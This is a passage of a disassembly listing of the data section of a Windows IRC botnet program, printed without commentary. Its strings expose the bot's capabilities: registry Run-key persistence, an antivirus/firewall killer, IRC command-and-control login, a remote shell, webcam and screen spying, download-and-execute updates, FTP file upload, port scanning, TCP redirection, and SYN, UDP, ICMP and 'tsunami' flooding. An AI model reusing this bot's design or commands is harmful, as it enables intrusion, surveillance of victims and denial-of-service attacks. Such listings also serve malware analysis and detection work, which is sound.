XREF: sub_401ACD+1D45o ; sub_401ACD+303Fo ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401ACD+44A2o align 4 aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C4o ; sub_401ACD+4216o align 10h off_429160 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FBo ; "*@admin.com" off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r ; sub_401ACD+7E4Ao ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o ; sub_41A19D+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o ; sub_41A19D+D4o align 4 dd offset aAdministrato_0 ; "administrator" dd 0 dd offset dword_43D128 dd offset aAdministrato_0 ; "administrator" align 10h dword_429230 dd 10h ; DATA XREF: sub_401ACD+AFBr ; sub_401ACD+B27r ... aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:0042921Co ; ___:00429228o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429160o dword_4292D0 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429304 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o aServerRunningO db '- Server running on Port: 113.',0 align 10h unk_429330 db 2Dh ; - ; DATA XREF: ___:00401614o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 10h unk_429370 db 2Dh ; - ; DATA XREF: ___:004015C3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_429394 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401585o dd 2E646574h, 0 dword_4293B0 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o dword_4293BC dd 255C7325h, 73h ; DATA XREF: ___:004013AAo ; sub_415A2F+7Eo dword_4293C4 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo ; sub_40F6B3+EAo ... unk_4293CC db 2Dh ; - ; DATA XREF: sub_4017ED+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o align 4 unk_429434 db 2Dh ; - ; DATA XREF: sub_401ACD+7F09o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 unk_429454 db 2Dh ; - ; DATA XREF: sub_401ACD+7EECo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_429474 db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 10h aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E62o align 4 unk_4294C8 db 2Dh ; - ; DATA XREF: sub_401ACD+7E24o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E12o ; sub_401ACD+7E79o align 10h aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7DFBo align 4 asc_429548: ; DATA XREF: sub_401ACD+7DCBo unicode 0, <~>,0 unk_42954C db 2Dh ; - ; DATA XREF: sub_401ACD+7D7Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 10h unk_429570 db 2Dh ; - ; DATA XREF: sub_401ACD+7D0Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 4 unk_429598 db 2Dh ; - ; DATA XREF: sub_401ACD+7CC3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 4 unk_4295BC db 2Dh ; - ; DATA XREF: sub_401ACD+7CA1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 10h unk_4295E0 db 2Dh ; - ; DATA XREF: sub_401ACD+7C81o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0 align 4 unk_429604 db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 dword_429628 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401ACD+7C3Ao dd 2E732520h, 0 unk_429644 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409684o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 10h unk_429670 db 2Dh ; - ; DATA XREF: sub_401ACD+7BB0o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_429694 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4095FCo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_4296BC db 2Dh ; - ; DATA XREF: sub_401ACD+7B25o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Bo unk_4296E8 db 2Dh ; - ; DATA XREF: sub_401ACD+79FEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 10h unk_429710 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B2o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429734 db 2Dh ; - ; DATA XREF: sub_401ACD+79DBo db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_429754 db 2Dh ; - ; DATA XREF: sub_401ACD+79B7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_42977C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409467o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_4297A4 db 2Dh ; - ; DATA XREF: sub_401ACD+796Co db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_4297C4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FCo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_4297F4 db 2Dh ; - ; DATA XREF: sub_401ACD+7925o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429814 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409398o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429844 db 2Dh ; - ; DATA XREF: sub_401ACD+78C4o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 dword_429868 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401ACD+7884o dd 27732527h, 2Eh unk_429884 db 2Dh ; - ; DATA XREF: sub_401ACD+7802o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_4298A8 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+7785o dd 0 unk_4298C0 db 2Dh ; - ; DATA XREF: sub_401ACD+7754o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 10h dword_429900 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401ACD+76E5o dd 2Eh dword_429918 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_40913Fo dd 746E6573h, 2Eh unk_429934 db 2Dh ; - ; DATA XREF: sub_401ACD+766Bo db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_429954 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401ACD+762Fo dd 732520h unk_42996C db 2Dh ; - ; DATA XREF: sub_401ACD+7610o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 asc_429998: ; DATA XREF: sub_401ACD+75F8o ; sub_40F6B3+FBo ... dw 0Ah unicode 0, <>,0 unk_42999C db 2Dh ; - ; DATA XREF: sub_401ACD+75CEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 10h unk_4299C0 db 2Dh ; - ; DATA XREF: sub_401ACD+75C1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_4299E4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0 align 4 unk_429A24 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409014o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0 unk_429A64 db 2Dh ; - ; DATA XREF: sub_401ACD+753Do db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 10h aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F86o align 4 unk_429A98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F73o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for webcam capture.',0 align 10h unk_429AD0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Co db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 4 unk_429B04 db 2Dh ; - ; DATA XREF: sub_401ACD+748Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE5o align 4 unk_429B38 db 2Dh ; - ; DATA XREF: sub_401ACD+740Bo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 10h unk_429B60 db 2Dh ; - ; DATA XREF: sub_401ACD+73D8o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 4 aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E58o unk_429B90 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E45o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 4 unk_429BCC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing screen.',0 align 4 unk_429BFC db 2Dh ; - ; DATA XREF: sub_401ACD+7361o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFDo align 10h dword_429C30 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_401ACD+7318o dd 2E732520h, 0 unk_429C4C db 2Dh ; - ; DATA XREF: sub_401ACD+72D2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 unk_429C7C db 2Dh ; - ; DATA XREF: sub_401ACD+72B6o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 unk_429CA4 db 2Dh ; - ; DATA XREF: sub_401ACD+7209o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 unk_429CC4 db 2Dh ; - ; DATA XREF: sub_401ACD+71D5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 4 unk_429CE4 db 2Dh ; - ; DATA XREF: sub_401ACD+7180o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 dword_429D00 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401ACD+710Eo dword_429D14 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o ; sub_401ACD+7C47o unk_429D20 db 2Dh ; - ; DATA XREF: sub_401ACD+70AFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Eo align 4 dword_429D48 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+7073o dd 25203A29h, 73h dword_429D64 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+7004o dd 203A2973h, 7325h dword_429D80 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6FA9o dword_429D88 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6F79o dd 203A2973h, 7325h dword_429DA4 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o dword_429DB0 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6ECEo ; sub_401ACD+6F57o ... dword_429DB8 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6E95o dword_429DC0 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E84o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_429DFC dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E15o aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_429E28 db 2Dh ; - ; DATA XREF: sub_401ACD+6D85o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD+6D1Ao db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_429E98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408745o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 4 dword_429ECC dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h ; DATA XREF: sub_401ACD+6C3Do dd 7325h dword_429EE4 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_401ACD:loc_408673o dword_429EF8 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6B62o ; sub_401ACD+6C14o ... dword_429F08 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4085D0o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 10h dword_429F50 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AF9o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_429F8C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A8Ao aDownloadingUpd db '- Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E2o align 4 dword_429FC4 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+6980o dd 7325203Ah, 0 unk_429FE0 db 2Dh ; - ; DATA XREF: sub_401ACD+6975o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42A004 db 2Dh ; - ; DATA XREF: sub_401ACD+68DBo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A040 db 2Dh ; - ; DATA XREF: sub_401ACD+6865o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 10h dword_42A070 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Bo ; sub_401ACD:loc_409366o unk_42A07C db 2Dh ; - ; DATA XREF: sub_401ACD+6789o db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h unk_42A0A0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408234o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 unk_42A0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+675Do db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A110 db 2Dh ; - ; DATA XREF: sub_401ACD+66EDo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A13C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Ao aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 4 dword_42A178 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+65FBo aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 unk_42A1A8 db 2Dh ; - ; DATA XREF: sub_401ACD+6582o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A1E0 db 2Dh ; - ; DATA XREF: sub_401ACD+6513o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42A210 db 2Dh ; - ; DATA XREF: sub_401ACD+6489o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A248 db 2Dh ; - ; DATA XREF: sub_401ACD+641Ao db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A278 db 2Dh ; - ; DATA XREF: sub_401ACD+63A1o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A2B0 db 2Dh ; - ; DATA XREF: sub_401ACD+6332o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A2EC db 2Dh ; - ; DATA XREF: sub_401ACD+62B9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 unk_42A32C db 2Dh ; - ; DATA XREF: sub_401ACD+624Ao db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_42A358 db 2Dh ; - ; DATA XREF: sub_401ACD+617Bo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42A39C db 2Dh ; - ; DATA XREF: sub_401ACD+610Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42A3D8 db 2Dh ; - ; DATA XREF: sub_401ACD+600Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F63o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E86o align 4 dword_42A434 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF2o ; sub_401ACD+715Ao unk_42A440 db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Eo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A47C db 2Dh ; - ; DATA XREF: sub_401ACD+5D1Fo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_42A4CC db 2Dh ; - ; DATA XREF: sub_401ACD+5C88o ; sub_401ACD+607Eo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A504 db 2Dh ; - ; DATA XREF: sub_401ACD+5C19o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_42A56C db 2Dh ; - ; DATA XREF: sub_401ACD+5AA3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start scan, no IP specified.',0 align 10h unk_42A5A0 db 2Dh ; - ; DATA XREF: sub_401ACD+5A46o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_10 db 'Failed to start scan, port is invalid.',0 align 4 unk_42A5D4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4073F3o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42A604 db 2Dh ; - ; DATA XREF: sub_401ACD+591Fo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5906o aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58EFo align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CCo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 10h aAb db 'ab',0 ; DATA XREF: sub_401ACD+58A8o ; ___:00411C61o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5897o align 4 unk_42A674 db 2Dh ; - ; DATA XREF: sub_401ACD+584Do db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Ao align 4 unk_42A69C db 2Dh ; - ; DATA XREF: sub_401ACD+57F4o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0 align 4 unk_42A6DC db 2Dh ; - ; DATA XREF: sub_401ACD+5797o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A714 db 2Dh ; - ; DATA XREF: sub_401ACD+572Co db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42A75C db 2Dh ; - ; DATA XREF: sub_401ACD+567Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 10h unk_42A790 db 2Dh ; - ; 